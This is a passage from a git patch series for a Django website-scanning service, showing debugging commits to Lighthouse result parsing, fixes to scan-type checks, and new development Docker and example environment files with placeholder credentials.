stdout_string = str(stdout_value) + # print(f'LH string output => {stdout_string}') + + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + + except Exception as e: + print(e) + scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } - # initial audits object audits = { "seo": [], "accessibility": [], "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] + "best_practices": [], + "pwa": [], + "crux": [] } - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - data = { "scores": scores, "audits": audits, - "failed": False + "failed": True } - - - # except Exception as e: - # print(e) - - # scores = { - # "seo": None, - # "accessibility": None, - # "performance": None, - # "best_practices": None, - # "pwa": None, - # "crux": None, - # "average": None - # } - - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best_practices": [], - # "pwa": [], - # "crux": [] - # } - - # data = { - # "scores": scores, - # "audits": audits, - # "failed": True - # } return data From 46fedc49859f6ed5e2e7a3f0b5ee7d96bbdf34a7 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 15:25:44 -0600 Subject: [PATCH 148/277] debugging --- app/api/v1/ops/services.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index db5e97ed..1c0f6aff 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -659,13 +659,17 @@ def create_scan(request, delay=False): print(f'types ==> {str(types)}') # running scans in selenium mode - if 'html' or 'logs' or 'full' in types: + if 'html' in types or 'logs' in types or 'full' in types: + print('running html & logs') run_html_and_logs_bg.delay(scan_id=created_scan.id) - if 'lighthouse' or 'full' in types: + if 'lighthouse' in types or 'full' in types: + print('running lighthouse') run_lighthouse_bg.delay(scan_id=created_scan.id) - if 'yellowlab' or 'full' in types: + if 'yellowlab' in types or 'full' in types: + print('running yellowlab') run_yellowlab_bg.delay(scan_id=created_scan.id) - if 'vrt' or 'full' in types: + if 'vrt' in types or 'full' in types: + print('running vrt') run_vrt_bg.delay(scan_id=created_scan.id) From b3ea432a8de4da53a550f5ded4e45f0d6aab9382 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 16:03:01 -0600 Subject: [PATCH 149/277] testing --- app/api/utils/scanner.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 25df62cc..13424f82 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -276,23 +276,23 @@ def check_scan_completion(scan): finished = True - if 'html' or 'full' in scan.type: + if 'html' in scan.type or 'full' in scan.type: if scan.html == None or scan.html == '': finished = False - if 'logs' or 'full' in scan.type: + if 'logs' in scan.type or 'full' in scan.type: if scan.logs == None or scan.logs == '': finished = False - if 'lighthouse' or 'full' in scan.type: + if 'lighthouse' in scan.type or 'full' in scan.type: if scan.lighthouse.get('scores').get('average') == None and scan.lighthouse.get('failed') == None: finished = False - if 'yellowlab' or 'full' in scan.type: + if 'yellowlab' in scan.type or 'full' in scan.type: if scan.yellowlab.get('scores').get('globalScore') == None and scan.yellowlab.get('failed') == None: finished = False - if 'vrt' or 'full' in scan.type: + if 'vrt' in scan.type or 'full' in scan.type: if scan.images == None or scan.images == '': finished = False From 2b4b91cbd31696254c0cdba79cf29b5bd097f44a Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 19:37:42 -0600 Subject: [PATCH 150/277] adding dev --- .gitignore | 2 +- app/scanerr/settings.py | 45 +++++++------------- docker-compose.dev.yml | 92 +++++++++++++++++++++++++++++++++++++++++ docker-compose.prod.yml | 1 - env/.env.dev.example | 48 +++++++++++---------- env/.env.local.example | 75 +++++++++++++++++++++++++++++++++ env/.env.prod.example | 27 ++++++------ 7 files changed, 225 insertions(+), 65 deletions(-) create mode 100644 docker-compose.dev.yml create mode 100644 env/.env.local.example diff --git a/.gitignore b/.gitignore index 1831e2ac..147a533b 100644 --- a/.gitignore +++ b/.gitignore @@ -10,7 +10,7 @@ __pycache__/ */__pycache__/* **/__pycache__/ server/app/env* -env/.env.staging +env/.env.local env/.env.dev env/.env.prod env/.env.prod.db diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 23b99d11..5b55b60f 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -84,37 +84,21 @@ # Database # https://docs.djangoproject.com/en/3.2/ref/settings/#databases - -if DEBUG == True: - - DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql - 'HOST': os.environ.get('DB_HOST'), - 'NAME': os.environ.get('DB_NAME'), - 'USER': os.environ.get('DB_USER'), - 'PASSWORD': os.environ.get('DB_PASS'), - 'PORT': os.environ.get('DB_PORT') - } +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql + 'HOST': os.environ.get('DB_HOST'), + 'NAME': os.environ.get('DB_NAME'), + 'USER': os.environ.get('DB_USER'), + 'PASSWORD': os.environ.get('DB_PASS'), + 'PORT': os.environ.get('DB_PORT') } +} -else: - - DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql - 'HOST': os.environ.get('DB_HOST'), - 'NAME': os.environ.get('DB_NAME'), - 'USER': os.environ.get('DB_USER'), - 'PASSWORD': os.environ.get('DB_PASS'), - 'PORT': os.environ.get('DB_PORT') - } - } # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators - AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', @@ -172,7 +156,6 @@ # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ - STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") @@ -213,7 +196,6 @@ # Redis and Celery Conf - CELERY_BROKER_URL = "redis://redis:6379" CELERY_RESULT_BACKEND = "redis://redis:6379" @@ -221,7 +203,6 @@ # Default primary key field type # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field - DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' @@ -240,5 +221,9 @@ # stripe keys -STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE') -STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE') \ No newline at end of file +if os.environ.get('STRIPE_ENV') == 'prod': + STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE') + STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE') +if os.environ.get('STRIPE_ENV') == 'dev': + STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST') + STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') \ No newline at end of file diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml new file mode 100644 index 00000000..aa3f0fd3 --- /dev/null +++ b/docker-compose.dev.yml @@ -0,0 +1,92 @@ +version: '3' + +services: + app: + privileged: true + init: true + build: + context: . + dockerfile: Dockerfile.prod + volumes: + - ./app:/app + - static_volume:/app/static + command: > + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py wait_for_db && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + expose: + - 8000 + env_file: + - ./env/.env.dev + + + db: + image: postgres:10-alpine + env_file: + - ./env/.env.dev + volumes: + - pgdata:/var/lib/postgresql/data + + + redis: + image: redis:alpine + + + celery: + privileged: true + restart: always + build: + context: . + command: celery -A scanerr worker --beat --scheduler django --loglevel=info + volumes: + - ./app:/scanerr + env_file: + - ./env/.env.dev + depends_on: + - redis + - app + + + nginx-proxy: + container_name: nginx-proxy + build: nginx + restart: always + ports: + - 443:443 + - 80:80 + volumes: + - static_volume:/app/static + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + - /var/run/docker.sock:/tmp/docker.sock:ro + depends_on: + - app + + + nginx-proxy-letsencrypt: + image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion + env_file: + - ./env/.env.prod.proxy-companion + volumes: + - /var/run/docker.sock:/var/run/docker.sock:ro + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + - letsencrypt-acme:/etc/acme.sh + depends_on: + - nginx-proxy + + +volumes: + static_volume: + letsencrypt-acme: + certs: + html: + vhost: + pgdata: \ No newline at end of file diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index a41e940a..0b8b020b 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -42,7 +42,6 @@ services: - app - nginx-proxy: container_name: nginx-proxy build: nginx diff --git a/env/.env.dev.example b/env/.env.dev.example index 4fc015d7..5021207b 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -1,13 +1,16 @@ -# high level django configs -SECRET_KEY = ask-for-this -CLIENT_URL_ROOT = http://localhost:3000 -API_URL_ROOT = http://localhost:8000 +# django +SECRET_KEY = ask-for-this-or-generate-yourself +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example +VIRTUAL_HOST = api.example.io # example +VIRTUAL_PORT = 8000 DJANGO_ALLOWED_HOSTS = * -# admin credentials -ADMIN_USER = fake # example -ADMIN_PASS = dontTryIt1234 # example +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example ADMIN_EMAIL = fake@example.com # example @@ -15,18 +18,18 @@ ADMIN_EMAIL = fake@example.com # example EMAIL_HOST = smtp.gmail.com EMAIL_PORT = 587 EMAIL_USE_TLS = True -EMAIL_HOST_USER = fake@example.com # example -EMAIL_HOST_PASSWORD = 1234456677888 # example +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example -# database configs -DB_HOST = db -DB_NAME = app -DB_USER = postgres -DB_PASS = supersecretpassword -POSTGRES_DB = app -POSTGRES_USER = postgres -POSTGRES_PASSWORD = supersecretpassword +# database +DB_HOST=db +DB_NAME=app +DB_USER=postgres +DB_PASS=supersecretpassword +POSTGRES_DB=app +POSTGRES_USER=postgres +POSTGRES_PASSWORD=supersecretpassword # paths @@ -38,6 +41,9 @@ CHROMIUM = /usr/bin/chromium # stripe keys STRIPE_PUBLIC_TEST = STRIPE_PRIVATE_TEST = +STRIPE_PUBLIC_LIVE = +STRIPE_PRIVATE_LIVE = +STRIPE_ENV = dev # google keys @@ -67,9 +73,9 @@ SLACK_BOT_TOKEN = # s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = -AWS_STORAGE_BUCKET_NAME = storage-scanerr # example -AWS_S3_REGION_NAME = sfo3 # example -AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example -AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.local.example b/env/.env.local.example new file mode 100644 index 00000000..8df28191 --- /dev/null +++ b/env/.env.local.example @@ -0,0 +1,75 @@ +# high level django configs +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = http://localhost:3000 +API_URL_ROOT = http://localhost:8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_HOST=db +DB_NAME=app +DB_USER=postgres +DB_PASS=supersecretpassword +POSTGRES_DB=app +POSTGRES_USER=postgres +POSTGRES_PASSWORD=supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example index 761bb49c..5c42261f 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -1,14 +1,14 @@ # high level django configs SECRET_KEY = ask-for-this-or-generate-yourself -CLIENT_URL_ROOT = https://app.example.io # example -API_URL_ROOT = https://api.example.io # example -LETSENCRYPT_HOST = api.example.io # example +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example DJANGO_ALLOWED_HOSTS = * # admin credentials -ADMIN_USER = fake # example -ADMIN_PASS = dontTryIt1234 # example +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example ADMIN_EMAIL = fake@example.com # example @@ -16,13 +16,13 @@ ADMIN_EMAIL = fake@example.com # example EMAIL_HOST = smtp.gmail.com EMAIL_PORT = 587 EMAIL_USE_TLS = True -EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_USER = fake@example.com # example EMAIL_HOST_PASSWORD = 1234456677888 # example # database configs -DB_NAME = defaultdb # example -DB_USER = doadmin # example +DB_NAME = defaultdb # example +DB_USER = doadmin # example DB_PASS = DB_PORT = DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example @@ -37,6 +37,9 @@ CHROMIUM = /usr/bin/chromium # stripe keys STRIPE_PUBLIC_TEST = STRIPE_PRIVATE_TEST = +STRIPE_PUBLIC_LIVE = +STRIPE_PRIVATE_LIVE = +STRIPE_ENV = prod # google keys @@ -66,9 +69,9 @@ SLACK_BOT_TOKEN = # s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = -AWS_STORAGE_BUCKET_NAME = storage-scanerr # example -AWS_S3_REGION_NAME = sfo3 # example -AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example -AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static AWS_DEFAULT_ACL = public-read \ No newline at end of file From 5470aa86b121ff6181877b84a7dd2e03e446c067 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 19:54:02 -0600 Subject: [PATCH 151/277] updates --- README.md | 23 +++++++++++++++++++++++ commands | 10 +++++++++- 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b4521617..9b398df7 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,9 @@ Copyright © Scanerr 2023 #### Env's and deployment +- [Scanerr Server (API repo)](#scanerr-server-api-repo) + - [Table of Contents](#table-of-contents) + - [Env's and deployment](#envs-and-deployment) - [Environment](#environment) - [Local](#local) - [Remote](#remote) @@ -89,6 +92,26 @@ $ ssh root@your_server_ip # ufw enable # su {user} ``` + +*Add user to docker group* +```shell +$ sudo usermod -aG docker {user} +$ newgrp docker +``` + +*Generate SSH keys for GitHub* +``` shell +$ ssh-keygen -t ed25519 -C "your_github_email@example.com" +``` +- press `Enter` 3 times +```shell +$ eval "$(ssh-agent -s)" +$ ssh-add ~/.ssh/id_ed25519 +$ cat ~/.ssh/id_ed25519.pub +``` +- copy key to clipboard and paste in GutHub + + *Create a dir to clone the app into* ``` shell $ cd ~ diff --git a/commands b/commands index ff37b079..f95330a8 100644 --- a/commands +++ b/commands @@ -9,6 +9,14 @@ docker compose down ### spins up the container for production ### docker-compose -f docker-compose.prod.yml up -d --build -### spins down the container and removes volumes ### +### spins down the container ### docker-compose -f docker-compose.prod.yml down + + +### spins up the container for development ### +docker-compose -f docker-compose.dev.yml up -d --build + +### spins down the container ### +docker-compose -f docker-compose.dev.yml down + From 389d7180e70be999efbbc3851cc7858b8fc3b14e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 20:16:07 -0600 Subject: [PATCH 152/277] testing data from LH --- app/api/utils/lighthouse.py | 192 ++++++++++++++++++------------------ app/api/utils/scanner.py | 1 + 2 files changed, 97 insertions(+), 96 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 1d8c5881..953f39e7 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,105 +37,105 @@ def init_audit(self): def get_data(self): - try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - # print(f'LH string output => {stdout_string}') - - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - - except Exception as e: - print(e) - - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } + # try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + # print(f'LH string output => {stdout_string}') + + + if len(stdout_string) != 0: + # if 'Runtime error encountered' in stdout_string: + # error = {'error': 'lighthouse ran into a problem',} + # return error + + # stdout_json = json.loads(stdout_value) + + # # initial audits object + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best-practices": [], + # "lighthouse-plugin-crux": [], + # "pwa": [] + # } + + # # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + # for cat in audits: + # cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + # if cat_audits is not None: + # for a in cat_audits: + # if int(a["weight"]) > 0: + # audit = stdout_json["audits"][a["id"]] + # audits[cat].append(audit) + # # changing audits names + # audits['best_practices'] = audits.pop('best-practices') + # audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # # get scores from each category + # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + # crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + # if crux_score == 0 : + # crux_score = None + # average_score = round(( + # seo_score + accessibility_score + performance_score + # + best_practices_score + pwa_score + # )/ 5) + # else: + # average_score = round(( + # seo_score + accessibility_score + performance_score + # + best_practices_score + pwa_score + crux_score + # )/ 6) + + # scores = { + # "seo": seo_score, + # "accessibility": accessibility_score, + # "performance": performance_score, + # "best_practices": best_practices_score, + # "pwa": pwa_score, + # "crux": crux_score, + # "average": average_score + # } - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] - } data = { - "scores": scores, - "audits": audits, - "failed": True + "scores": 'scores', + "audits": stdout_string, + "failed": False } + + + # except Exception as e: + # print(e) + + # scores = { + # "seo": None, + # "accessibility": None, + # "performance": None, + # "best_practices": None, + # "pwa": None, + # "crux": None, + # "average": None + # } + + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best_practices": [], + # "pwa": [], + # "crux": [] + # } + + # data = { + # "scores": scores, + # "audits": audits, + # "failed": True + # } return data diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 13424f82..2cf6d0f2 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -413,6 +413,7 @@ def _lighthouse(scan_id): # updating Scan object scan = Scan.objects.get(id=scan_id) scan.lighthouse = lh_data + scan.html = lh_data # TODO --> remove this, just testing scan.save() # checking if scan is done From 0fe9e1aec6c8a5d7fbaf274c623b3091c638673a Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 20:49:54 -0600 Subject: [PATCH 153/277] testing --- app/api/utils/lighthouse.py | 119 ++++++++++++++++++------------------ 1 file changed, 60 insertions(+), 59 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 953f39e7..3388db0e 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,72 +40,73 @@ def get_data(self): # try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - # print(f'LH string output => {stdout_string}') + delm = '{\\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] if len(stdout_string) != 0: - # if 'Runtime error encountered' in stdout_string: - # error = {'error': 'lighthouse ran into a problem',} - # return error - - # stdout_json = json.loads(stdout_value) - - # # initial audits object - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best-practices": [], - # "lighthouse-plugin-crux": [], - # "pwa": [] - # } - - # # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - # for cat in audits: - # cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - # if cat_audits is not None: - # for a in cat_audits: - # if int(a["weight"]) > 0: - # audit = stdout_json["audits"][a["id"]] - # audits[cat].append(audit) - # # changing audits names - # audits['best_practices'] = audits.pop('best-practices') - # audits['crux'] = audits.pop('lighthouse-plugin-crux') + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') - # # get scores from each category - # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - # crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - # if crux_score == 0 : - # crux_score = None - # average_score = round(( - # seo_score + accessibility_score + performance_score - # + best_practices_score + pwa_score - # )/ 5) - # else: - # average_score = round(( - # seo_score + accessibility_score + performance_score - # + best_practices_score + pwa_score + crux_score - # )/ 6) - - # scores = { - # "seo": seo_score, - # "accessibility": accessibility_score, - # "performance": performance_score, - # "best_practices": best_practices_score, - # "pwa": pwa_score, - # "crux": crux_score, - # "average": average_score - # } + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } data = { - "scores": 'scores', - "audits": stdout_string, + "scores": scores, + "audits": audits, "failed": False } From 656f34c005ffb049bc4b57563fd00b064fdfe5f0 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 20:53:47 -0600 Subject: [PATCH 154/277] testing data --- app/api/utils/lighthouse.py | 116 ++++++++++++++++++------------------ 1 file changed, 58 insertions(+), 58 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 3388db0e..7b516184 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -45,68 +45,68 @@ def get_data(self): if len(stdout_string) != 